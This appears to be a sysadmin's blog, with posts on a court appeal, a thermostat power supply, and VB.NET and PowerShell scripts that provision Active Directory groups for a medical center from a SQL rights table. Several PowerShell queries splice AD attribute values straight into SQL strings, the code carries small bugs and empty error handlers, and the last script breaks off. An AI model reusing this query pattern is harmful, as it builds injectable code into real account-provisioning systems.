Category: Uncategorized

Well, this is good news. Sadly it took them 8 months to get it on the calendar! From talking with the clerk at the beginning it seems it’s pretty normal to take a full 12 months to have your appeal heard so maybe this was swift? If I get it overturned I wonder how that phone call is going to go with my INS agent on the $100 they have to refund me.

06/15/2018 8:30 AM HEARING ON APPEAL FROM THE JUDGMENT ON 9/15/17 (SOUTHWEST).
05/08/2018 NOTICE OF HEARING ON APPEAL. Document 05/08/2018 HEARING ON APPEAL (SOUTHWEST) SET 6/15/18 AT 8:30
03/06/2018 FULLY BRIEFED Not Applicable N/A N 03/06/2018 MEMO FROM D.A. ELECTING NOT TO RESPOND. Not Applicable Document

So recent change in my environment. As some of you may be aware, Group Policy does not get applied to the Computer / Use OU natively built into ActiveDirectory. So I normally use this little GEM here to move computer’s into a low end testing OU until they are ready to move into prod.

    Private Function ServerCompliance() As Boolean
    Console.WriteLine(Now.ToString & " " & System.Reflection.MethodInfo.GetCurrentMethod().ToString)
    Try
        If IsNothing(ServersInActiveDirectory) Then
            Debug.WriteLine("Did not find any user accounts in AD")
            Return Nothing
        End If

        ChangeList &= vbCrLf & "--Server Admin Exceptions / Objects out of Place (NT,LX,VM)--" & vbCrLf

        Dim DOM As New DirectoryEntry("WinNT://MyDomain.Com")

        For Each Result As SearchResult In ServersInActiveDirectory

            Dim Hostname As String = Result.Properties("samAccountName")(0).ToString.Replace("$", "")
            Try
                Dim DOMUSR As DirectoryEntry
                DOMUSR = DOM.Children.Find("admin_" & Hostname, "group")
            Catch ex As FileNotFoundException
                Dim Secentry = New DirectoryEntry("LDAP://MyDomain.Com/OU=Server Admin Exceptions,OU=Security Groups,OU=IT Administration,DC=info,DC=sys")
                Secentry = Secentry.Children.Add("cn=admin_" & Hostname.ToLower, "Group")
                Secentry.Properties("sAMAccountName").Value = "admin_" & Hostname.ToLower
                Secentry.Properties("description").Value = "Special Admin group for this server."
                Secentry.CommitChanges()
            Catch ex As Exception
                ChangeList &= ex.Message & vbCrLf
            End Try

            If DoesServiceExist("EMSRC", Hostname) Then
                ChangeList &= "EMSRC: FOUND" & vbCrLf
            End If

            Try
                'Debug.WriteLine(Result.Path)
                'For Each MyKey In Result.Properties.PropertyNames
                'Debug.WriteLine(vbTab & MyKey)
                'For Each MyKeyer In Result.Properties(MyKey)
                'Debug.WriteLine(vbTab & vbTab & MyKeyer.ToString)
                'Next
                'Next
                'Check for CN=Computers,DC=info,DC=sys
                If Result.Path.EndsWith("CN=Computers,DC=info,DC=sys") Then
                    ChangeList &= Result.Properties("samAccountName")(0) & vbCrLf
                    'Result.GetDirectoryEntry.MoveTo(New DirectoryEntry("LDAP://MyDomain.Com/OU=NoHBOCAdmin,OU=Tier 3,OU=Servers - WSUS Policy,DC=info,DC=sys"))
                    Result.GetDirectoryEntry.MoveTo(New DirectoryEntry("LDAP://MyDomain.Com/OU=Tier 3,OU=Servers,OU=Datacenter,DC=info,DC=sys"))
                End If

                If Result.Path.Contains("OU=Tier 1") Then
                    If UpdateTierInDataCenter(Result.Properties("samAccountName")(0).ToString.Replace("$", ""), 1) Then
                        ChangeList &= Result.Properties("samAccountName")(0) & " Updated to Tier 1 in Datacenter Portal" & vbCrLf
                    Else
                    End If
                End If
                If Result.Path.Contains("OU=Tier 2") Then
                    If UpdateTierInDataCenter(Result.Properties("samAccountName")(0).ToString.Replace("$", ""), 2) Then
                        ChangeList &= Result.Properties("samAccountName")(0) & " Updated to Tier 1 in Datacenter Portal" & vbCrLf
                    Else
                    End If
                End If
                If Result.Path.Contains("OU=Tier 3") Then
                    If UpdateTierInDataCenter(Result.Properties("samAccountName")(0).ToString.Replace("$", ""), 3) Then
                        ChangeList &= Result.Properties("samAccountName")(0) & " Updated to Tier 1 in Datacenter Portal" & vbCrLf
                    Else
                    End If
                End If
            Catch ex As Exception
                ChangeList &= vbCrLf & ex.Message & vbCrLf
            End Try


            Try
                Select Case DetectOS(Hostname)
                    Case OS.Windows
                        If CheckIfAdminGroup(Hostname, "Administrators", "admin_" & Hostname) = False Then
                            If AddADGroupToLocalServerGroup(Hostname, "admin_" & Hostname) Then
                                ChangeList &= "admin_" & Hostname & " added to " & Hostname & vbCrLf
                            Else
                                ChangeList &= "FAILED: admin_" & Hostname & " added to " & Hostname & vbCrLf
                            End If
                        End If
                    Case Else
                        Continue For
                End Select
            Catch ex As Exception
                ChangeList &= vbCrLf & ex.Message & vbCrLf
            End Try

            'For Each MyProp As PropertyValueCollection In Result.Properties
            'Debug.WriteLine(MyProp.PropertyName.ToString & " - " & MyProp.Value.ToString)
            'Next
        Next

        ChangeList &= vbCrLf & "--Servers with DHCP turned on--" & vbCrLf
        For Each Result As SearchResult In ServersInActiveDirectory
            Dim Servername As String = Result.Properties("samAccountName")(0).ToString.Replace("$", "")
            If DetectOS(Servername) = OS.Windows Then
                GetDHCPNetworkFromServer(Servername)
            End If
        Next
    Catch ex As Exception
        EisenhowerErrorHandler.ErrorHandlerFunction(ex, False, True, False, {"LoadActiveDirectoryAccounts"})
        Return False
    End Try
    Return True
    'For Each MyProp As PropertyValueCollection In ThisUserObject.Properties
    'Debug.WriteLine(MyProp.PropertyName.ToString & " - " & MyProp.Value.ToString)
    'Next
End Function

So, I finally hooked up my device together to run a portable thermostat. Sadly after hooking up the buck converter and verifying the unit was putting out 3.3v it was not. I think I may have gotten a fault Buck converter from Adafruit. So one of the thing’s I was having issues with was the amount of time I would get out of the Lipo battery from the LM3671. After reviewing my options and reading I stumbled upon the Pololu 3.3v buck and it seems more promising. Sadly THEY ARE STILL AROUND $4-$5 a pop! That seems insanely high for some reason. Well, they’re in the mail so once I get ’em, I’ll hook it up to the power supply and Multimeter to see what the results look like.

Pololu 3.3V Step-Up/Step-Down Voltage Regulator S7V8F3
https://www.pololu.com/product/2122

LM3671 3.3V Buck Converter Breakout – 3.3V Output 600mA Max
https://www.adafruit.com/product/2745

So, Recently my team and I are working on Integrating AD into another application in our environment. I, however, had to supply a list of GUID’s from Active Directory and return them to the end user to review. Apparently, they bind the existing user’s via GUID to prevent any mix-up and could only supply me their Given and Surname. I threw them in a CSV and used the following Powershell code below to generate the list they wanted.

Remove-Variable * -ErrorAction SilentlyContinue; Remove-Module *; $error.Clear(); Clear-Host
$mytable = Import-Csv -Path "C:\Feed.csv" -Header ID,Data
$HashTable=@{}
foreach($r in $mytable)
{
    if ($r.ID -notlike '#*')
     {$HashTable[$r.ID]=$r.Data}

     $Name = $r.Data + ", " + $r.ID.Substring(0,3) + "*"
     #Write-Host $Name
     $User = Get-ADUser -Filter 'Name -like $Name' -Properties Name, objectGUID
     Write-Host $User.Name $User.ObjectGUID
     #Get-ADUser -Filter 'GivenName -like $r.ID'
     #Get-ADUser -Filter *
}

So here in the environment I am in, We have a MSSQL database where we hold information on what access new users get in Active Directory and other applications. I have converted a large amount of the Logic from .NET to Powershell for team support as not everyone here on the team knows .NET to support it in an event I’m out sick or injured.
So over the last day or so I’ve been converting the Logic over. The Scripts review’s the Active Directory Account’s wwwHomepage field and apply’s the correct permissions using that as the key to crossing the Data in the SQL database to locate the SecurityGroups to apply.

 Private Function QuerySecurityGroups() As Boolean
    Console.WriteLine(Now.ToString & " " & System.Reflection.MethodInfo.GetCurrentMethod().ToString)
    Try
        Dim Command As String = "select * FROM dbo.AppRights WHERE (AppName='ActiveDirectory' and RightsItem='SecurityGroup') order by Dept, JobCode"
        Dim myCommand = New System.Data.SqlClient.SqlCommand(Command, MySQLConnectionProvisoningRoleModel)
        Dim MyReader As SqlDataReader = myCommand.ExecuteReader
        Dim I As Integer = 0
        Dim Flag As Boolean = False
        While MyReader.Read()
            SecurityGroup.Add(MyReader(0) & "|" & MyReader(1) & "|" & MyReader(2) & "|" & MyReader(3) & "|" & MyReader(4) & "|" & MyReader(5))
            Debug.WriteLine(MyReader(0) & " " & MyReader(1) & " " & MyReader(2) & " " & MyReader(3) & " " & MyReader(4) & " " & MyReader(5))
            I += 1
        End While
        myCommand.Dispose()
        MyReader.Close()

        'I = 0 if row does not exist.
        Return Flag
    Catch ex As Exception
        EisenhowerErrorHandler.ErrorHandlerFunction(ex, False, True, False)
        Return False
    End Try
End Function
Private Sub ApplyMissingSecurityGroups()
    Console.WriteLine(Now.ToString & " " & System.Reflection.MethodInfo.GetCurrentMethod().ToString)
    Try
        For Each Result As SearchResult In ActiveDirectory
            If TermedUsers.Contains(Result.Properties("samAccountName")(0)) Then 'Do not add security groups for termed users!
                Debug.WriteLine("User is termed, Not adding MissingSecurityGroups for: " & Result.Properties("samAccountName")(0))
                Continue For
            End If
            If Result.Properties.Contains("wwwHomePage") Then

                'Check to see if they have a webpage assigned to them.
                If Result.Properties("wwwHomePage")(0).ToString.Split("|").Length < 2 Then
                    Continue For
                End If

                'Debug.WriteLine(Result.Path & " " & Result.Properties("wwwHomePage")(0).ToString)
                'If Result.Properties("wwwHomePage")(0).ToString.EndsWith("0200") Then
                'Debugger.Break()
                'End If

                If False And (Result.Properties("wwwHomePage")(0).ToString.Split("|")(0).StartsWith("0") Or Result.Properties("wwwHomePage")(0).ToString.Split("|")(1).StartsWith("0")) Then
                    'This removed Appending Zeros from homepage... 9480|0013 -> 9480|13
                    Dim MyEntry As DirectoryEntry = Result.GetDirectoryEntry
                    Dim CorrectAddress As String = (Result.Properties("wwwHomePage")(0).ToString.Split("|")(0).TrimStart("0").ToString & "|" & Result.Properties("wwwHomePage")(0).ToString.Split("|")(1).TrimStart("0"))
                    ChangeList &= Result.Properties("samAccountName")(0) & " wwwHomePage updated: " & Result.Properties("wwwHomePage")(0).ToString & " => " & CorrectAddress & vbCrLf
                    MyEntry.InvokeSet("wwwHomePage", CorrectAddress)
                    MyEntry.CommitChanges()
                Else
                    If Result.Properties("wwwHomePage")(0).ToString.Length <> 9 Then
                        'If Result.Properties("wwwHomePage")(0).ToString.Length > 9 Then
                        'System.Diagnostics.Debugger.Break()
                        'End If
                        Dim MyEntry As DirectoryEntry = Result.GetDirectoryEntry
                        Dim TmpDept, TmpJobcode As String
                        TmpDept = Result.Properties("wwwHomePage")(0).ToString.Split("|")(0).PadLeft(4, "0")
                        TmpJobcode = Result.Properties("wwwHomePage")(0).ToString.Split("|")(1).PadLeft(4, "0")
                        Dim CorrectAddress As String = (TmpDept & "|" & TmpJobcode)
                        ChangeList &= Result.Properties("samAccountName")(0) & " wwwHomePage updated: " & Result.Properties("wwwHomePage")(0).ToString & " => " & CorrectAddress & vbCrLf
                        'Debug.WriteLine(Result.Properties("samAccountName")(0) & " | " & Result.Properties("wwwHomePage")(0).ToString & " - " & Result.Properties("wwwHomePage")(0).ToString.Length & " => " & CorrectAddress)
                        MyEntry.InvokeSet("wwwHomePage", CorrectAddress)
                        MyEntry.CommitChanges()
                    End If
                End If

                Dim ADDept, ADJobCode, ADEntity As Integer
                If False Then
                    ADDept = Result.Properties("wwwHomePage")(0).ToString.Split("|")(0).TrimStart("0")
                    ADJobCode = Result.Properties("wwwHomePage")(0).ToString.Split("|")(1).TrimStart("0")
                Else
                    ADDept = Result.Properties("wwwHomePage")(0).ToString.Split("|")(0).PadLeft(4, "0")
                    ADJobCode = Result.Properties("wwwHomePage")(0).ToString.Split("|")(1).PadLeft(4, "0")
                    If Result.Properties.Contains("Company") Then
                        If CompanyDictionary.ContainsKey(Result.Properties("Company")(0)) Then
                            ADEntity = CompanyDictionary(Result.Properties("Company")(0)) 'Convert String to INT
                        Else
                            ChangeList &= ("Invalid Company!: " & Result.Properties("samAccountName")(0) & " - " & Result.Properties("Company")(0)) & vbCrLf
                            Continue For
                        End If
                    End If
                End If


                'Debug.WriteLine(vbTab & "CURRENTLY A MEMBER OF")
                'For Each MemberGroup In Result.Properties("MemberOf")
                'Debug.WriteLine(vbTab & MemberGroup)
                'Next

                If Result.Properties("samAccountName")(0).ToString = "15997" Then
                    'Debugger.Break()
                End If


                If Result.Properties.Contains("company") Then
                    'Debug.WriteLine(Result.Properties("company")(0))
                    'Debug.WriteLine(CompanyDictionary(Result.Properties("company")(0)))
                Else
                    Try
                        Dim SamAccountName As String = Result.Properties("samAccountName")(0).ToString
                        If SamAccountName.StartsWith("dr", vbTextCompare) Then
                            If SamAccountName.Length > 2 Then
                                If Char.IsNumber(SamAccountName(2)) Then
                                    Dim MyEntry As DirectoryEntry = Result.GetDirectoryEntry
                                    'MyEntry.InvokeSet("company", "Contractor") 'It does not exist and can not be set so use .ADD
                                    MyEntry.Properties("company").Add("Contractor")
                                    MyEntry.CommitChanges()
                                    ChangeList &= ("Missing Company - Added Contractor: " & SamAccountName) & vbCrLf
                                End If
                            End If
                        Else
                            ChangeList &= ("Missing Company: " & SamAccountName) & vbCrLf
                            Continue For
                        End If
                    Catch ex As Exception
                        Continue For
                    End Try
                End If

                Dim FoundSecGroup As Boolean = False
                For Each Entry In SecurityGroup 'Cycles through each entry in SentTable
                    Dim Dept, JobCode, Entity As Integer
                    Dim SecGroup As String
                    Dept = Entry.ToString.Split("|")(1)
                    JobCode = Entry.ToString.Split("|")(2)
                    Entity = Entry.ToString.Split("|")(5)
                    If Entry.ToString.Split("|")(4).Contains(",") Then
                        SecGroup = Entry.ToString.Split("|")(4).Split(",")(0).Substring(3) 'Check if DN
                    Else
                        SecGroup = Entry.ToString.Split("|")(4) 'Not a DN
                    End If

                    If (Dept = ADDept Or Dept = 0) And (JobCode = ADJobCode Or JobCode = 0) And (Entity = ADEntity Or Entity = 0) Then
                        If Dept = 0 Or JobCode = 0 Then
                            'System.Diagnostics.Debugger.Break()
                        End If
                        If Dept = 0 Then
                            'System.Diagnostics.Debugger.Break()
                        End If
                        If Dept = 0 And ADDept = 7010 Then 'Don't apply wildcards to ED.
                            Continue For
                        End If
                        'Debug.WriteLine(vbTab & vbTab & Entry.ToString)
                        'If Result.Properties("PrimaryGroupID")(0) = "" Then

                        'End If
                        For Each MemberGroup In Result.Properties("MemberOf") 'Check to see if the user is already a member of the group
                            Dim Pre2000name As String = GetSamAccountNameFromdistinguishedNameOrCN(MemberGroup)
                            Dim CurrentMemberof As String = MemberGroup.ToString.Split(",")(0).Substring(3)
                            'Debug.WriteLine("Sam: " & Pre2000name)
                            If StrComp(CurrentMemberof, SecGroup, CompareMethod.Text) = 0 Or StrComp(Pre2000name, SecGroup, CompareMethod.Text) = 0 Then
                                FoundSecGroup = True
                                Exit For
                            End If
                        Next

                        If Not FoundSecGroup Then
                            Try
                                If ADEntity = Entity Or Entity = 0 Then
                                    'Debug.WriteLine("Missing SecGroup: " & SecGroup & " - " & Dept & " - " & JobCode)
                                    Dim match As Match = Regex.Match(SecGroup, "[\d]{4}_.+", RegexOptions.IgnoreCase)
                                    If match.Success Then
                                        'Debug.WriteLine("Group that needs to be added is a CostCenter group " & match.Value)
                                        For Each MemberGroup In Result.Properties("MemberOf") 'Check to see if the user is already a member of a CostCenter group
                                            Dim Pre2000name As String = GetSamAccountNameFromdistinguishedNameOrCN(MemberGroup)
                                            Dim CurrentMemberof As String = MemberGroup.ToString.Split(",")(0).Substring(3)
                                            Dim matcher As Match = Regex.Match(CurrentMemberof, "^[\d]{4}_.+", RegexOptions.IgnoreCase)
                                            If matcher.Success Then
                                                Debug.WriteLine("Found Group: " & matcher.Value)
                                                Dim MyEntry As DirectoryEntry = Result.GetDirectoryEntry
                                                Dim TheGroup As DirectoryEntry = New DirectoryEntry("LDAP://" + MemberGroup, Nothing, Nothing)
                                                TheGroup.Invoke("Remove", New Object() {MyEntry.Path})
                                                TheGroup.CommitChanges()
                                            End If
                                        Next
                                    End If
                                    AddUserToPre2000Group(Result.Properties("samAccountName")(0), SecGroup)
                                End If
                            Catch ex As Exception
                                ChangeList &= ex.Message & " - " & Result.Properties("samAccountName")(0) & "|" & SecGroup & vbCrLf
                            End Try
                        End If
                        FoundSecGroup = False
                    End If
                Next
            Else
                'Debug.WriteLine("No homepage for: " & Result.Path)
            End If
        Next
    Catch ex As Exception
        EisenhowerErrorHandler.ErrorHandlerFunction(ex, False, True, False)
    End Try
End Sub

Private Function AddUserToPre2000Group(ByVal UserName As String, ByVal GroupName As String) As Boolean
    Try
        'Create the object
        Dim Group As Object
        Try
            If GroupName Is Nothing Then
                ChangeList &= ("Blank Group name: " & UserName)
                Return False
            End If
            Group = GetObject("WinNT://" & DomainComputer & "/" & GroupName & ",group")
        Catch ex As Exception
            Dim Pre2000Name As String = GetSamAccountNameFromdistinguishedNameOrCN(GroupName)
            If StrComp(Pre2000Name, GroupName, CompareMethod.Text) <> 0 Then
                If AddUserToPre2000Group(UserName, GetSamAccountNameFromdistinguishedNameOrCN(GroupName)) Then
                    Return True
                End If
            End If
            Debug.WriteLine("No Such group Exist: " & GroupName)
            ChangeList &= ("No Such group Exist: " & GroupName)
            Return False
        End Try
        Dim User = GetObject("WinNT://" & DomainComputer & "/" & UserName & ",user")
        Group.add(User.adspath)
    Catch ex As Exception
        ChangeList &= UserName & " failed to be added to: " & GroupName & vbCrLf & "GetGroup(): " & ex.Message
        Debug.WriteLine("GetGroup(): " & ex.Message & " - " & ex.InnerException.Message)
        Return False
    End Try
    ChangeList &= UserName & " has been added to: " & GroupName & vbCrLf
    Debug.WriteLine(UserName & " has been added to: " & GroupName & vbCrLf)
    Return True
End Function

And my work in progress to get it converted over to Powershell.

Remove-Variable * -ErrorAction SilentlyContinue; Remove-Module *; $error.Clear(); Clear-Host

$ConnectionString = "Server=SQLServer;Database=ProvisioningRoleModel;Trusted_Connection=yes;"
$sqlConnection = new-object System.Data.SqlClient.SqlConnection $ConnectionString 
$sqlConnection.Open()

$ActiveFeed = @{}
$TermFeed = @{}
$ADDict = @{}
$ADTags = @{}

$GroupMembershipsAdded = ""

$Footer = "<br><br><br><br><br><br>*********************************<br>REPORT DETAILS<br>*********************************<br><table border=`"5`"><tr><td>Type:</td><td>Scheduled Task</td></tr><tr><td>Task Name:</td><td>ApplyMissingSecurityGroups</td></tr><tr><td>Schedule:</td><td>Every Day @ 5:00 AM</td></tr><tr><td>Run As:</td><td>svc_provision</td></tr><tr><td>Server:</td><td>Computer.FQDN.COM</td></tr><tr><td>Script Location:</td><td>\\MyComputer\c$\Extra</td></tr><tr><td>Script Name:</td><td>ApplyMissingSecurityGroups.ps1</td></tr><tr><td>Output Dir:</td><td>N/A</td></tr></table>*********************************<br>"

foreach($line in get-content "\\Mycomputer\c$\active and leave empl.txt")
{
    $recipients = $line -split [RegEx]::Escape("|")
    $FullName = [string]
    $FullName = $recipients[6].trim() #Last name
    $FullName = $FullName + ", " + $recipients[8].trim() #First name
    $samAccountName = $recipients[1].trim()
    $CostCenter = $recipients[2].trim()
    $Jobcode = $recipients[4].trim()
    $EmpType = $recipients[17].trim()

    $WWW = $CostCenter + '|' + $Jobcode

    if (-Not [string]::IsNullOrEmpty($recipients[11].trim()))
    {
        $FullName = $FullName + " (" + $recipients[11].trim() + ")"
    }

    if (-Not [string]::IsNullOrEmpty($recipients[7].trim()))
    {
        $FullName = $FullName + " " + $recipients[7].trim().Substring(0,1)
    }

    Write-Host $recipients[1].trim() $WWW
    $ActiveFeed.Add($samAccountName,$WWW) 
    $ADTags.Add($samAccountName,$EmpType)
    #$User = get-aduser -f {samAccountName -eq $samAccountName}
    #Set-ADUser -Identity $User.sAMAccountName -HomePage $WWW
}

$sqlCommand = $sqlConnection.CreateCommand()
$sqlCommand.CommandText = "select DISTINCT * FROM dbo.AppRights WHERE (AppName='ActiveDirectory' and RightsItem='DIR_SecurityGroup') and ((Dept = '0') and (Jobcode = '0') and (Entity = '0')) order by Dept, JobCode"
$DirectorTags = $sqlCommand.ExecuteReader()
try
{
    while ($DirectorTags.Read()) 
    {
        $ADTags.GetEnumerator() | ForEach-Object {
            if ($_.value -eq "DIR")
            {
                Add-ADGroupMember -Identity "app_JiraAutoApprove" -Member $_.key
                $message = '{0} is a {1}, it gets {2}!' -f $_.key, $_.value, $DirectorTags.GetValue(4)
                Write-Output $message
            }
        }
    }
}
catch
{
}
$DirectorTags.Close()

$sqlCommand = $sqlConnection.CreateCommand()
$sqlCommand.CommandText = "select DISTINCT * FROM dbo.AppRights WHERE (AppName='ActiveDirectory' and RightsItem='ELT_SecurityGroup') and ((Dept = '0') and (Jobcode = '0') and (Entity = '0')) order by Dept, JobCode"
$ELTTags = $sqlCommand.ExecuteReader()
try
{
    while ($ELTTags.Read()) 
    {
        $ADTags.GetEnumerator() | ForEach-Object {
            if ($_.value -eq "ELT")
            {
                Add-ADGroupMember -Identity "app_JiraAutoApprove" -Member $_.key
                $message = '{0} is a {1}, it gets {2}!' -f $_.key, $_.value, $ELTTags.GetValue(4)
                Write-Output $message
            }
        }
    }
}
catch
{
}
$ELTTags.Close()

foreach($line in get-content "\\MyComputer\c$\all terms.csv")
{
    try
    {
        $recipients = $line -split [RegEx]::Escape(",")
        $samAccountName = $recipients[3].trim()

        #$User = Get-ADUser -LDAPFilter "(sAMAccountName=$samAccountName)"  | Select-Object -Property samaccountname,enabled
        #If ($User -ne $Null) 
        #{
            #Write-Host $samAccountName "User Termed " $User.Enabled
            #!DELETE_USER|30861|7010|2508|Amanda||Sellers|22817|20170110|20171024
            Write-Host ("!DELETE_USER|{0}" -f $samAccountName)
            $TermFeed.Add($samAccountName,$samAccountName) 
        #}
    }
    catch
    {
    }
}

Get-ADUser -SearchBase "OU=SomeOU,DC=Domain,DC=Com" -Filter 'Enabled -eq $true' -Properties SamAccountName, DisplayName, wWWHomePage, company, memberOf | sort SamAccountName |
ForEach { 
    #if ($_.SamAccountName -match "^[\d\.]+$")
    #{
    Write-Host $_.SamAccountName $_.DisplayName $_.wWWHomePage $_.company
    $ADDict.Add($_.SamAccountName,$_.wWWHomePage)

    if ($TermFeed.ContainsKey($_.SamAccountName))
    {
        Write-Host "User is termed, Not adding MissingSecurityGroups for: " $_.SamAccountName
        return #For object based ForEach loops you must use return and not continue
    }

    if (![string]::IsNullOrEmpty($_.wWWHomePage))
    {
        $wwwSplit = $_.wWWHomePage -split [RegEx]::Escape("|")
        if ($wwwSplit.length -lt 2)
        {
            Write-Host "User does not have a | delimited WWWpage: " $_.SamAccountName " - " $_.wWWHomePage
            return #For object based ForEach loops you must use return and not continue
        }
        if ($_.wWWHomePage.length -ne 9)
        {
            Write-Host "User needs WWW.length<>9 updated: " $_.SamAccountName " - " $_.wWWHomePage
            return #For object based ForEach loops you must use return and not continue
        }
    }
    else
    {
        return #Return if no wWWHomePage 
    }

    $Entity = [string]

    switch ($_.company) 
    {
        #
        #The if conditions below can be combined into one if ( -or ) statement to stop UpdateADCostCenterFields from being called twice.
        #
        "Eisenhower Medical Center" 
        { 
            $Entity = 1 
        }
        "Barbara Sinatra Children's Center" 
        { 
            $Entity = 3         
        }
        "Annenberg Center for Health Sciences" 
        { 
            $Entity = 14        
        }
        "Contractor" 
        { 
            $Entity = 88        
        }
        default 
        { 
            Write-Host "Invalid Company Name for" $_.SamAccountName " - " $_.Company
            return
        }
    }

    $wwwSplit = $_.wWWHomePage -split [RegEx]::Escape("|")
    $Dept = [string]
    $Jobcode = [string]
    $Dept = $wwwSplit[0].trim() #Last
    $Jobcode = $wwwSplit[1].trim() #Last      

    $sqlCommand = $sqlConnection.CreateCommand()
    $sqlCommand.CommandText = "select DISTINCT * FROM dbo.AppRights WHERE (AppName='ActiveDirectory' and RightsItem='SecurityGroup') and ((Dept = '0' or Dept = '" + $Dept + "') and (Jobcode = '0' or Jobcode = '" + $Jobcode + "') and (Entity = '0' or Entity = '" + $Entity + "')) order by Dept, JobCode"
    $costcenterReader = $sqlCommand.ExecuteReader()

    #Get-ADPrincipalGroupMembership $_.SamAccountName | select name
    try
    {
        while ($costcenterReader.Read()) 
        {
            [bool] $HasThisGroup = $false
            #foreach ($mymember in Get-ADPrincipalGroupMembership $_.SamAccountName) #$mymember.SamAccountName 
            foreach ($mymember in $_.memberOf)
            {
                #Write-Host "Comparing " ($mymember -split ',')[0].Replace('CN=', '') " -> " $costcenterReader.GetValue(4)
                if (($mymember -split ',')[0].Replace('CN=', '') -like $costcenterReader.GetValue(4))
                {
                    $HasThisGroup = $true
                }
            }
            if ($HasThisGroup -eq $true)
            {
                Write-Host `t "Already has: " + $costcenterReader.GetValue(4)
            }
            else
            {
                Write-Host `t "Needs: " + $costcenterReader.GetValue(4) + "<br>"
                Add-ADGroupMember -Identity $costcenterReader.GetValue(4) -Member $_.SamAccountName
                $GroupMembershipsAdded += $_.SamAccountName + " => " + $costcenterReader.GetValue(4)
            }
        }
    }
    catch
    {
    }
    $costcenterReader.Close()

    #Check to see if these users should have EPIC SecurityGroup from the AppRights Table
    $sqlCommand = $sqlConnection.CreateCommand()
    $sqlCommand.CommandText = "select TOP 1 * FROM dbo.AppRights WHERE (AppName='EPIC') and (RightsValue='T%') and ((Dept = '0' or Dept = '" + $Dept + "') and (Jobcode = '0' or Jobcode = '" + $Jobcode + "') and (Entity = '0' or Entity = '" + $Entity + "'))"
    $costcenterReader = $sqlCommand.ExecuteScalar()

    [bool] $Citrix_EPIC_Hyperspace_Prod = $false
    [bool] $Citrix_EPIC_Hyperspace_Trnply = $false
    [bool] $Citrix_EPIC_Hyperspace_ACES = $false

    try
    {
        if ($costcenterReader -ne $null) 
        {
            Write-Host `t EPIC
            foreach ($mymember in $_.memberOf)
            {
                #Write-Host "Comparing " ($mymember -split ',')[0].Replace('CN=', '') " -> " $costcenterReader.GetValue(4)
                if (($mymember -split ',')[0].Replace('CN=', '') -like 'Citrix_EPIC_Hyperspace_Prod')
                {
                    $Citrix_EPIC_Hyperspace_Prod = $true
                }
                if (($mymember -split ',')[0].Replace('CN=', '') -like 'Citrix_EPIC_Hyperspace_Trnply')
                {
                    $Citrix_EPIC_Hyperspace_Trnply = $true
                }
                if (($mymember -split ',')[0].Replace('CN=', '') -like 'Citrix_EPIC_Hyperspace_ACES')
                {
                    $Citrix_EPIC_Hyperspace_ACES = $true
                }
            }

            if ($Citrix_EPIC_Hyperspace_Prod -ne $true)
            {
                Write-Host "Needs Citrix_EPIC_Hyperspace_Prod"
                Add-ADGroupMember -Identity "Citrix_EPIC_Hyperspace_Prod" -Member $_.SamAccountName
                $GroupMembershipsAdded += $_.SamAccountName + " => Citrix_EPIC_Hyperspace_Prod<br>"
            }
            if ($Citrix_EPIC_Hyperspace_Trnply -ne $true)
            {
                Write-Host "Needs Citrix_EPIC_Hyperspace_Trnply"
                Add-ADGroupMember -Identity "Citrix_EPIC_Hyperspace_Trnply" -Member $_.SamAccountName
                $GroupMembershipsAdded += $_.SamAccountName + " => Needs Citrix_EPIC_Hyperspace_Trnply<br>"
            }
            if ($Citrix_EPIC_Hyperspace_ACES -ne $true)
            {
                Write-Host "Needs Citrix_EPIC_Hyperspace_ACES"
                Add-ADGroupMember -Identity "Citrix_EPIC_Hyperspace_ACES" -Member $_.SamAccountName
                $GroupMembershipsAdded += $_.SamAccountName + " => Citrix_EPIC_Hyperspace_ACES<br>"
            }

        }          
    }
    catch
    {
        Write-Host $_.Exception.Message
    }



    #Check to see if these users should have EPIC SecurityGroup from the AppRights Table
    $sqlCommand = $sqlConnection.CreateCommand()
    $sqlCommand.CommandText = "select TOP 1 * FROM dbo.AppRights WHERE (AppName='EPIC') and (RightsValue='L%') and ((Dept = '0' or Dept = '" + $Dept + "') and (Jobcode = '0' or Jobcode = '" + $Jobcode + "') and (Entity = '0' or Entity = '" + $Entity + "'))"
    $costcenterReader = $sqlCommand.ExecuteScalar()

    [bool] $Citrix_Epic_Care_Link = $false

    try
    {
        if ($costcenterReader -ne $null) 
        {
            Write-Host `t EPIC
            foreach ($mymember in $_.memberOf)
            {
                #Write-Host "Comparing " ($mymember -split ',')[0].Replace('CN=', '') " -> " $costcenterReader.GetValue(4)
                if (($mymember -split ',')[0].Replace('CN=', '') -like 'Citrix_Epic_Care_Link')
                {
                    $Citrix_Epic_Care_Link = $true
                }
            }

            if ($Citrix_Epic_Care_Link -ne $true)
            {
                Write-Host "Needs Citrix_Epic_Care_Link"
                Add-ADGroupMember -Identity "Citrix_Epic_Care_Link" -Member $_.SamAccountName
                $GroupMembershipsAdded += $_.SamAccountName + " => Citrix_Epic_Care_Link<br>"
            }
        }          
    }
    catch
    {
        Write-Host $_.Exception.Message
    }


}

if ($GroupMembershipsAdded -eq "")
{
    Send-MailMessage -To "Nhall <myemail@domain.com>" -From "Provision Powershell" -Subject "Group Membership Compliance - No Changes" -SmtpServer "exchange" -BodyAsHtml "No Security Group Changes $footer"
}
else
{
    Send-MailMessage -To "Nhall <myemail@domain.com>" -From "Provision Powershell" -Subject "Group Membership Compliance" -SmtpServer "exchange" -BodyAsHtml "$GroupMembershipsAdded $footer"
}

exit

This is a sample of powershell code I used today at add functionality from a text file to AD while crossing the data to an SQL Server.
This script does a few useful things that I like, Starting with refreshing the Debug Environment, then opening an SQL connection, Parsing a textfile that’s ‘|’ pipe delimited then comparing with row’s returned from an SQL Query.

Remove-Variable * -ErrorAction SilentlyContinue; Remove-Module *; $error.Clear(); Clear-Host

$ConnectionString = "Server=MYVM;Database=Mydatabase;Trusted_Connection=yes;"
$sqlConnection = new-object System.Data.SqlClient.SqlConnection $ConnectionString 
$sqlConnection.Open()

$ActiveFeed = @{}
foreach($line in get-content "\\MYVM\d$\MyFeed.txt")
{
    $recipients = $line -split [RegEx]::Escape("|")
    $samAccountName = [string]
    $samAccountName = $recipients[0].trim()
        $WWW = $recipients[0].trim()
        $ActiveFeed.Add($samAccountName,$WWW) 
}

$sqlCommand = $sqlConnection.CreateCommand()
$sqlCommand.CommandText = "select DISTINCT * FROM dbo.AppRights WHERE (AppName='ActiveDirectory' and RightsItem='DIR_SecurityGroup') and ((Dept = '0') and (Jobcode = '0') and (Entity = '0')) order by Dept, JobCode"
$DirectorTags = $sqlCommand.ExecuteReader()
try
{
    while ($DirectorTags.Read()) 
    {
